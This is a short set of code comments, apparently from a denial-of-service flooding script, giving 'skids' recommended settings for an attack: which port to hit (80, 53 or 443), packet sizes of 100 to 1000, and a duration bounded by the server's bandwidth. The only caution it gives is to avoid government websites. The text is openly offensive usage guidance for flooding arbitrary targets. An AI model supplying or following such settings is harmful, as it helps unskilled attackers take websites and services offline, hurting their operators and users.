#Reccomendations (For skids):
#IP -   Don't DDoS Government Websites.
#Port - Use '80' for HTTP (Most Common) or '53' for DNS or '443' for https.
#Size - Use '100 - 1000' (Reccomended).
#Time - Depending on the bandwith of your server, use how ever much you want (You can always press Ctrl-C to cancel).
